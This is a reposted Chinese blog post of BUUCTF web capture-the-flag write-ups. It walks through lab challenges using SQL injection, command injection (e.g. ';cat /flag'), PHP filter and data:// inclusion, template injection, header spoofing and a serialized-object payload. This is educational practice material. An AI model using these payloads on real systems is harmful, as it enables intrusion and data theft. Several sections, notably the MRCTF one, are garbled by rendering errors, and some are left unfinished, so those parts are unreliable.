0


BUUCTF-Web题解(持续更新中)

[极客大挑战2019]EasySQL

我们点进靶机,看到是用户名和密码登录,再结合题目sql,我们才想到这个一道SQL注入的题目。
在这里插入图片描述我们使用万能密码,就得到了flag:flag{3faed954-a380-4d93-b802-d1ed776c1b1a}
在这里插入图片描述

[极客大挑战2019]Havefun

我们点进靶机,右键检查
在这里插入图片描述得到一段PHP代码,我们分析一下知道使用get方式传参,如果cat=dog ,则输出flag

  1. <!--
  2. $cat=$_GET['cat'];
  3. echo $cat;
  4. if($cat=='dog'){
  5. echo 'Syc{cat_cat_cat_cat}';
  6. }
  7. -->

我们在URL后面添加/?cat=dog,就得到了flag:
在这里插入图片描述

[HCTF2018]WarmUp

右键查看页面源代码,看到有个source.php

  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="UTF-8">
  5. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6. <meta http-equiv="X-UA-Compatible" content="ie=edge">
  7. <title>Document</title>
  8. </head>
  9. <body>
  10. <!--source.php-->
  11. <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
  12. </html>

我们在URL后面添加/source.php,进入新的页面,发现有个hint.php

  1. <?php
  2. highlight_file(__FILE__);
  3. class emmm
  4. {
  5. public static function checkFile(&$page)
  6. {
  7. $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
  8. if (! isset($page) || !is_string($page)) {
  9. echo "you can't see it";
  10. return false;
  11. }
  12. if (in_array($page, $whitelist)) {
  13. return true;
  14. }
  15. $_page = mb_substr(
  16. $page,
  17. 0,
  18. mb_strpos($page . '?', '?')
  19. );
  20. if (in_array($_page, $whitelist)) {
  21. return true;
  22. }
  23. $_page = urldecode($page);
  24. $_page = mb_substr(
  25. $_page,
  26. 0,
  27. mb_strpos($_page . '?', '?')
  28. );
  29. if (in_array($_page, $whitelist)) {
  30. return true;
  31. }
  32. echo "you can't see it";
  33. return false;
  34. }
  35. }
  36. if (! empty($_REQUEST['file'])
  37. && is_string($_REQUEST['file'])
  38. && emmm::checkFile($_REQUEST['file'])
  39. ) {
  40. include $_REQUEST['file'];
  41. exit;
  42. } else {
  43. echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  44. }
  45. ?>

我们在原来的界面URL后面加上/hint.php,发现flag在ffffllllaaaagggg里面
在这里插入图片描述
我们回到source.php界面,根据代码的要求,在url后面加上/source.php?file=hint.php?ffffllllaaaagggg,发现新界面和source.php界面只是没有照片。
我们的思路就是正确的,可能只是flag不在这个目录,那么我们就遍历目录(…/)试一试,尝试多次后,最终得到flag:flag{d8c68cf3-fc39-4bd5-beec-59144cb9bcb9}
在这里插入图片描述

[ACTF2020 新生赛]Include

我们点进靶机,看到以下界面
在这里插入图片描述我们点击“tips",进入一下界面,发现在地址栏这里有一个file=flag.php
在这里插入图片描述我们使用/?file=php://filter/read=convert.base64-encode/resource=flag.php,打开flag.php文件,得到一串base64编码
在这里插入图片描述我们进行base64解码,解码得到一下一串代码,于是flag:flag{3aa81c08-0ea9-42e8-83e8-3724bd2648dd}

  1. <?php
  2. echo "Can you find out the flag?";
  3. //flag{3aa81c08-0ea9-42e8-83e8-3724bd2648dd}

[ACTF2020 新生赛]Exec

我们随便输一个ping地址(127.0.0.1),它显示:已发送3个数据包,已接收3个数据包,数据包丢失率为0%。3个数据包都来自127.0.0.1。
在这里插入图片描述输入127.0.0.1;ls /,利用;来输入命令。
在这里插入图片描述我们发现有个·flag文件,输入127.0.0.1;cat /flag进行查看flag文件,于是得到flag:flag{d81837e0-b908-4a0a-bac0-23ff569befe1}
在这里插入图片描述

[GXYCTF2019]Ping Ping Ping

我们点进靶机,进入界面只有这个
在这里插入图片描述我们在URL上面添加/?ip=127.0.0.1,进入一下界面,内容成功回显
在这里插入图片描述我们在URL后面改为添加/?ip=127.0.0.1;ls ,我们发现了flag.php和index.php
在这里插入图片描述URL添加/?ip=127.0.0.1;cat flag.php,发现可能是空格被过滤了
在这里插入图片描述添加/?ip=127.0.0.1;cat<flag.php,发现符号被过滤了
在这里插入图片描述我们看一下index.php,进行相同的操作发现同样被过滤了
构造payload:/?ip=127.0.0.1;a=g;cat$IFS

  1. 9
  2. f
  3. l
  4. a
  5. 9fla
  6. 9flaa.php

在这里插入图片描述我们查看页面源代码,就看到了flag:flag{de261984-10ac-4604-ad11-795d62827f73}

  1. /?ip=
  2. <pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
  3. 64 bytes from 127.0.0.1: seq=0 ttl=42 time=0.036 ms
  4. 64 bytes from 127.0.0.1: seq=1 ttl=42 time=0.060 ms
  5. 64 bytes from 127.0.0.1: seq=2 ttl=42 time=0.059 ms
  6. 64 bytes from 127.0.0.1: seq=3 ttl=42 time=0.071 ms
  7. --- 127.0.0.1 ping statistics ---
  8. 4 packets transmitted, 4 packets received, 0% packet loss
  9. round-trip min/avg/max = 0.036/0.056/0.071 ms
  10. <?php
  11. $flag = "flag{de261984-10ac-4604-ad11-795d62827f73}";
  12. ?>

[SUCTF 2019]EasySQL

我们除了输入整数会出现内容,输入其他内容没有任何显现
在这里插入图片描述尝试堆叠注入,输入1;show databases;#
在这里插入图片描述输入1;show columns from Flag;#
在这里插入图片描述在输入*;1,于是就得到了flag:flag{fac64f95-3877-4f3e-9772-47bb8585b31a}
在这里插入图片描述

[强网杯 2019]随便注

输入1
在这里插入图片描述输入1‘
在这里插入图片描述输入1’ or ‘1’=‘1,综合分析这是字符型注入,字段数为2
在这里插入图片描述查询数据库名,输入1’ union select 1,2#,发现回显大量过滤
在这里插入图片描述尝试堆叠注入,输入1’;show databases;#,成功回显,说明存在堆叠注入

在这里插入图片描述查看表,输入1’;show tables;#
在这里插入图片描述查看words,输入1’;show columns from words;#,发现有id,data
在这里插入图片描述输入1’; show columns from 1919810931114514; #,发现flag
在这里插入图片描述输入1’;rename table words to word;rename table 1919810931114514 to words;alter table words change flag id varchar(100);show columns from words;#
在这里插入图片描述我们在输入1’ or '1=1,就得到了flag
在这里插入图片描述

[极客大挑战 2019]LoveSQL

点进靶机,发现是用户和密码登录
在这里插入图片描述使用万能密码,显示错误
在这里插入图片描述先判断字段数(/check.php?username=admin&password=1’+order+by+4%23),发现字段数为3
在这里插入图片描述使用联合查询,得到了回显位置
在这里插入图片描述在这里插入图片描述查询数据库名1’ union select 1,2,database()#
在这里插入图片描述查询数据库表名1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek’#
在这里插入图片描述查询l0ve1ysq1表的字段名1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘l0ve1ysq1’#
在这里插入图片描述查询字段1’ union select 1,2,group_concat(id,username,password) from l0ve1ysq1#,就得到了flag:flag{5366f7aa-8040-44fc-bd88-bd0cfc671f3d}

[极客大挑战 2019]Secret File

我们先查看页面源代码,发现有个目录我们点进去看看

  1. <!DOCTYPE html>
  2. <html>
  3. <style type="text/css" >
  4. #master {
  5. position:absolute;
  6. left:44%;
  7. bottom:0;
  8. text-align :center;
  9. }
  10. p,h1 {
  11. cursor: default;
  12. }
  13. </style>
  14. <head>
  15. <meta charset="utf-8">
  16. <title>蒋璐源的秘密</title>
  17. </head>
  18. <body style="background-color:black;"><br><br><br><br><br><br>
  19. <h1 style="font-family:verdana;color:red;text-align:center;">你想知道蒋璐源的秘密么?</h1><br><br><br>
  20. <p style="font-family:arial;color:red;font-size:20px;text-align:center;">想要的话可以给你,去找吧!把一切都放在那里了!</p>
  21. <a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>
  22. <div style="position: absolute;bottom: 0;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
  23. </body>
  24. </html>

我们在原页面URL后面添加/Archive_room.php
在这里插入图片描述点击secret,我们查看源代码也没有任何有用的东西
在这里插入图片描述我们抓个包试一试,我们发现有一个secr3t.php,我们进入这个目录看一看
在这里插入图片描述在这里插入图片描述我们得到了一段代码,发现flag放在了flag.php里

  1. <html>
  2. <title>secret</title>
  3. <meta charset="UTF-8">
  4. <?php
  5. highlight_file(__FILE__);
  6. error_reporting(0);
  7. $file=$_GET['file'];
  8. if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
  9. echo "Oh no!";
  10. exit();
  11. }
  12. include($file);
  13. //flag放在了flag.php里
  14. ?>
  15. </html>

我们在URL后面添加flag.php,查看页面源代码没有发现任何东西,在根据它说“你看不到我,我就在这里”,猜测可能是PHP的封装协议
在这里插入图片描述我们构造payload:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
在这里插入图片描述将得到的base64编码进行解码得到一段代码,得到flag:flag{d4fe3fd8-c859-4ab3-9b5e-5079c6f478c3}

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>FLAG</title>
  6. </head>
  7. <body style="background-color:black;"><br><br><br><br><br><br>
  8. <h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
  9. <p style="font-family:arial;color:red;font-size:20px;text-align:center;">
  10. <?php
  11. echo "我就在这里";
  12. $flag = 'flag{d4fe3fd8-c859-4ab3-9b5e-5079c6f478c3}';
  13. $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
  14. ?>
  15. </p>
  16. </body>
  17. </html>

[极客大挑战 2019]Http

我们查看页面源代码,发现有一个Secret.php
在这里插入图片描述我们进入这个目录,发现这个页面得来自于https://Sycsecret.buuoj.cn,那么我们添加referer
在这里插入图片描述根据提示,我们要使用Syclover浏览器
在这里插入图片描述我们添加User-Agent:Syclover,我们发现要在本地
在这里插入图片描述添加X-Forwarded-For:127.0.0.1,我们于是就得到了flag:flag{2616f8dc-220f-42f9-aba8-c75610c77e6e}
在这里插入图片描述

[极客大挑战 2019]Upload

我们查看页面源代码,发现有一个upload_file.php目录

  1. <!DOCTYPE html>
  2. <html lang="zh">
  3. <style>
  4. .button {
  5. background-color: #5DADE2; /* Green */
  6. border: none;
  7. color: white;
  8. padding: 8px 20px;
  9. text-align: center;
  10. text-decoration: none;
  11. display: inline-block;
  12. font-size: 12px;
  13. margin: 4px 2px;
  14. cursor: pointer;
  15. -webkit-transition-duration: 0.4s; /* Safari */
  16. transition-duration: 0.4s;
  17. border-radius: 8px;
  18. }
  19. .button:hover {
  20. background-color: #555555;
  21. color: white;
  22. }
  23. </style>
  24. <head>
  25. <meta charset="UTF-8">
  26. <title>上传头像</title>
  27. <link rel="stylesheet" type="text/css" href="css/reset.css">
  28. <link rel="stylesheet" href="css/demo.css" />
  29. <link rel="stylesheet" href="dist/styles/Vidage.css" />
  30. </head>
  31. <body>
  32. <div class="Vidage">
  33. <div class="Vidage__image"></div>
  34. <video id="VidageVideo" class="Vidage__video" preload="metadata" loop autoplay muted>
  35. <source src="videos/bg.webm" type="video/webm">
  36. <source src="videos/bg.mp4" type="video/mp4">
  37. </video>
  38. <div class="Vidage__backdrop"></div>
  39. </div>
  40. <form action="upload_file.php" method="post" enctype="multipart/form-data">
  41. </br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
  42. <div align="center">
  43. <label for="file" style="font:20px Georgia,serif;">图片:</label>
  44. <input type="file" name="file" id="file" >
  45. <input type="submit" name="submit" value="提交" class="button">
  46. </div>
  47. </form>
  48. <script src="dist/scripts/Vidage.min.js"></script>
  49. <script>
  50. new Vidage('#VidageVideo');
  51. </script>
  52. <div style="position: absolute;bottom: 0;width: 95%;"><p align="center" style="font:italic 15px Georgia,serif;"> Syclover @ cl4y</p></div>
  53. </body>
  54. </html>

我们在URL后面加上upload_file.php在这里插入图片描述

[极客大挑战 2019]Knife

[ACTF2020 新生赛]Upload

[极客大挑战 2019]BabySQL

输入用户名admin,密码1’
在这里插入图片描述
有报错信息知道:存在SQL注入漏洞
在这里插入图片描述尝试常规注入:/check.php?username=admin&password=1’ union select 1#
在这里插入图片描述根据得到的信息,发现union、select可能被过滤了,那么我们尝试双写绕过:/check.php?username=admin&password=1’ ununionion seselectlect 1#
在这里插入图片描述信息继续报错,尝试URL编码,构造payload:/check.php?username=admin&password=1’ ununionion seselectlect 1,2,3%23。出现回显位置2,3
在这里插入图片描述
爆数据库:/check.php?username=admin&password=1’ ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
在这里插入图片描述猜测flag可能就在ctf中,爆表:/check.php?username=admin&password=1’ ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema=“ctf” %23
在这里插入图片描述
查字段名:/check.php?username=admin&password=pwd ’ ununionion seselectlect 1,2,group_concat(column_name)frfromom(infoorrmation_schema.columns) whwhereere table_name=“Flag”%23
在这里插入图片描述
/check.php?username=admin&password=pwd ’ ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23
于是就得到了flag:
在这里插入图片描述

[RoarCTF 2019]Easy Calc

我们随便输入一个计算式,查看页面源代码,也没有发现什么有用的
![在这里插入图片描述](https://i-blog.csdnimg.cn/
我们抓个包试一试,发现有一个calc.php目录
在这里插入图片描述访问calc.php目录,发现有一个黑名单
在这里插入图片描述尝试/calc.php?num=phpinfo()
在这里插入图片描述在尝试/calc.php? num=phpinfo()
在这里插入图片描述发现/被过滤了,我们尝试使用chr(47)进行目录读取:/calc.php? num=1;var_dump(scandir(chr(47)))
在这里插入图片描述构造:/flagg–chr(47).chr(102).chr(49).chr(97).chr(103)
构造payload:/calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
在这里插入图片描述于是得到flag:flag{0a60def8-e138-4f49-bebd-c1d2b45d528a}

[极客大挑战 2019]BuyFlag

点进界面右上角MENU,在点击PAYFLAG,得到以下界面
在这里插入图片描述查看页面源代码,发现了一段有用的代码

  1. <!--
  2. ~~~post money and password~~~
  3. if (isset($_POST['password'])) {
  4. $password = $_POST['password'];
  5. if (is_numeric($password)) {
  6. echo "password can't be number</br>";
  7. }elseif ($password == 404) {
  8. echo "Password Right!</br>";
  9. }
  10. }
  11. -->

分析发现:用post方法传参,money=100000000,password为404的同时且不能为数字(弱类型)直接password=404a,
我们抓个包,没看到什么,看了别人的题解发现自己是没有cookie,目前还没有解决这个问题

[BJDCTF2020]Easy MD5

我们查看页面源代码,没发现什么。我们抓个包试一试

[HCTF 2018]admin

界面右上角有一个登录和注册
在这里插入图片描述进入登录界面
在这里插入图片描述进入注册界面
在这里插入图片描述我们先注册一个账号admin/123456,结果显示被注册过;
注册admin/admin,结果显示密码格式错误
在注册123456/123456,显示注册成功
在这里插入图片描述在登陆界面,我们输入123456/123456
在这里插入图片描述查看页面源代码,发现有一段有用的代码,分析一下:可能以admin登录成功,就能得到flag

  1. <h1 class="nav">Hello 123456</h1>
  2. <!-- you are not admin -->
  3. <h1 class="nav">Welcome to hctf</h1>
  4. <script type="text/javascript">
  5. $(document).ready(function () {
  6. // 点击按钮弹出下拉框
  7. $('.ui.dropdown').dropdown();
  8. // 鼠标悬浮在头像上,弹出气泡提示框
  9. $('.post-content .avatar-link').popup({
  10. inline: true,
  11. position: 'bottom right',
  12. lastResort: 'bottom right'
  13. });
  14. })
  15. </script>
  16. </body>
  17. </html>

我们发现右上角这个地方多了一些东西
在这里插入图片描述进入index界面,发现和原界面一样,页面源代码也一样
在这里插入图片描述进入post界面,在页面源代码也没有发现什么
在这里插入图片描述进入logout界面,又回到了最初的界面
在这里插入图片描述
进入change password界面,先输入原用户名和密码在登陆,直接输入新密码就可以修改密码了
在这里插入图片描述在这里插入图片描述我们在change password界面的页面源代码发现了一个GitHub网址

  1. <div class="ui grid">
  2. <div class="four wide column"></div>
  3. <div class="eight wide column">
  4. <!-- https://github.com/woadsl1234/hctf_flask/ -->
  5. <form class="ui form segment" method="post" enctype="multipart/form-data">
  6. <div class="field required">
  7. <label>NewPassword</label>
  8. <input id="newpassword" name="newpassword" required type="password" value="">
  9. </div>
  10. <input type="submit" class="ui button fluid" value="更换密码">
  11. </form>
  12. </div>
  13. </div>
  14. <script type="text/javascript">
  15. $(document).ready(function () {
  16. // 点击按钮弹出下拉框
  17. $('.ui.dropdown').dropdown();
  18. // 鼠标悬浮在头像上,弹出气泡提示框
  19. $('.post-content .avatar-link').popup({
  20. inline: true,
  21. position: 'bottom right',
  22. lastResort: 'bottom right'
  23. });
  24. })
  25. </script>
  26. </body>
  27. </html>

我们访问一下这个网址,呃呃呃呃为什么显示page not fuond
在这里插入图片描述看了其他大佬的WP,发现正常访问这个网址后可以下载一个flask文档,解压后可以打开文件夹的index.html文件(看到的是这个大佬的文章解析:poggioxay)
在这里插入图片描述
只要从session中得到的值name为admin就会显现flag

[护网杯 2018]easy_tornado

出现三个链接
在这里插入图片描述
点击/flag.txt,发现flag在/fllllllllllllag
在这里插入图片描述
点击welcome.txt
在这里插入图片描述 render的相关信息
在这里插入图片描述
点击/hint.txt,将cookie_secret+filename的值md5加密后的值,整数在md5加密;然后把最后的值赋给filename
在这里插入图片描述
我们发现每次点击txt文件,URL都出现了filehash(即加密)。
我们先尝试只输入filename的值而忽略filename,结果出来的内容,URL变成了/error?msg=Error
在这里插入图片描述在这里插入图片描述再结合render的信息,发现问题可能是模板注入,经测试发现过滤了。
构造payload:/error?msg={{1*2}}
在这里插入图片描述继续构造payload:/error?msg={{handler.settings}},得到cookie_secret:31bfac93-3561-4d78-8113-2c3b67c872ad
在这里插入图片描述filename的值md5加密后为3bf9f6cf685a6dd8defadabfb41a03a1
cookie_secret+filename加密后的值为f1be15c3025969d45ea4bda4d5d14077
构造payload:/file?filename=/fllllllllllllag&filehash=f1be15c3025969d45ea4bda4d5d14077
在这里插入图片描述于是得到了flag:flag{5c3d378d-456e-4f9f-b42b-761ceceaa9ec}
在这里插入图片描述

[ZJCTF 2019]NiZhuanSiWei

分析代码,发现注释里面有一个useless.php
在这里插入图片描述我们进入useless.php目录,发现是一片空白。
我们在继续分析代码:
在这里插入图片描述构造:data://text/plain,welcome to the zjctf,由于为了1绕过某些过滤,这里用到base64编码
那么我们构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
因为有一个可控函数file,构造file=useless.php,又因为对于php文件我们需要进行base64编码,那么我们构造payload:file=php://filter/read=convert.base64-d2VsY29tZSB0byB0aGUgempjdGY=/resource=useless.php
在这里插入图片描述在这里插入图片描述
最后卡在这里了,看了其他大佬的WP,大家可以借鉴借鉴。
发现是“构造payload:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=”这里出现了问题,得到的界面不同。
在这里插入图片描述在这里插入图片描述我直接使用大佬的这个结论构造:/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
在这里插入图片描述再查看页面源代码,于是就得到flag:flag{df640cf7-d303-43f3-be1b-89f1522b842e}

[MRCTF2020]Ez_bypass

点进靶场,原界面
在这里插入图片描述我们分析一下代码:

  1. include ‘flag.php’;:这行代码包含了一个名为flag.php的文件,这个文件可能包含了一些全局变量或者函数的定义。
    1. f l a g = M R C T F x x x x x x x x x x x x x x x x x x x x x x x x x ; :定义了一个变量 flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';:定义了一个变量 flag=′MRCTFxxxxxxxxxxxxxxxxxxxxxxxxx′;:定义了一个变量flag,它的值是一个以MRCTF{开头的字符串,后面跟着一串未知的字符,这通常是一个安全竞赛中的“flag”,用于证明你已经成功破解了某个挑战。
  2. if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 12: _GET['gg'])&̲&isset(_GET[‘id’])) {:这个条件检查是否通过GET请求传入了gg和id两个参数。
    1. i d = id= id=_GET[‘id’]; g g = gg= gg=_GET[‘gg’];:如果ggid参数存在,它们将被赋值给 i d id idgg变量。
  3. if (md5( i d ) = = = m d 5 ( id) === md5( id)===md5(gg) && $id !== KaTeX parse error: Expected '}', got 'EOF' at end of input: gg) {:这个条件检查id和 g g 的 M D 5 哈希值是否相等,同时确保 gg的MD5哈希值是否相等,同时确保 gg的MD5哈希值是否相等,同时确保id和 g g 本身不相等。这意味着 gg本身不相等。这意味着 gg本身不相等。这意味着id和$gg是两个不同的字符串,但它们的MD5哈希值相同,这种情况非常罕见,因为MD5被认为是一种单向散列函数,不同的输入应该产生不同的输出。
  4. echo ‘You got the first step’;:如果上述条件满足,输出“你完成了第一步”。
  5. if(isset($_POST[‘passwd’])) {:检查是否通过POST请求传入了passwd参数。
    1. p a s s w d = passwd= passwd=_POST[‘passwd’];:如果passwd参数存在,将其值赋给$passwd变量。
  6. if (!is_numeric(KaTeX parse error: Expected '}', got 'EOF' at end of input: passwd)) {:检查passwd是否不是数字。
  7. if(KaTeX parse error: Expected '}', got 'EOF' at end of input: …==1234567) {:如果passwd不是数字,并且它的值等于1234567,则输出“干得好!”并显示flag.php文件的内容,然后输出“By Retr_0”并结束脚本执行。
  8. else { echo “can you think twice??”; }:如果$passwd不是数字,并且它的值不等于1234567,则输出提示用户再想想。
  9. else{ echo ‘You can not get it !’; }:如果$passwd是数字,则输出“你得不到它!”。
  10. } else{ die(‘only one way to get the flag’); }:如果passwd参数不存在,则输出“只有一种方式可以得到flag”并结束脚本执行。
  11. } else{ die(‘Please input first’); }:如果gg和id参数不存在,则输出“请先输入”并结束脚本执行。 因为要求md5( i d ) = = m d 5 ( id)==md5( id)==md5(gg)&& i d ! = id!= id!=gg,那么我们使用数组绕过:/?id[]=a&gg[]=b在这里插入图片描述接着post传参,我们直接传passwd=1234567,却没有任何反应在这里插入图片描述分析发现这个is_numeric()函数有很大的用处,判断是否为数字或者数字字符串,那么我们这里需要的不是数字和数字字符串 那么那么我构造payload:passwd=1234567a,于是我们就得到了flag:flag{99dcf905-612a-4c9d-b14c-86d7ada9a2fc}在这里插入图片描述

[GXYCTF2019]BabySQli

在这里插入图片描述我们随便输入admin/123456
在这里插入图片描述查看页面源代码,发现目录有一个search.php,页面源代码第一行是一段加密的字符
在这里插入图片描述对加密的字符进行base64和base32解密,得到:select * from user where username = ‘

  1. n
  2. a
  3. m
  4. e
  5. ,这看起来是一条
  6. S
  7. Q
  8. L
  9. 查询语句,它似乎用于从数据库中选择用户记录,其中用户名等于某个变量
  10. name',这看起来是一条SQL查询语句,它似乎用于从数据库中选择用户记录,其中用户名等于某个变量
  11. name′,这看起来是一条SQL查询语句,它似乎用于从数据库中选择用户记录,其中用户名等于某个变量name的值。

我们进行爆字段数:name=admin’ order by 3 #&pw=
在这里插入图片描述我们抓个包试一试
在这里插入图片描述在这里插入图片描述先通过order by来确定有多少列:name=admin’ order by 1 %23&pw=123456!

标签: web安全 安全

本文转载自: https://blog.csdn.net/2301_80281749/article/details/144026869
版权归原作者 小狗菜cai 所有, 如有侵权,请联系我们删除。

“BUUCTF-Web题解(持续更新中)”的评论:

还没有评论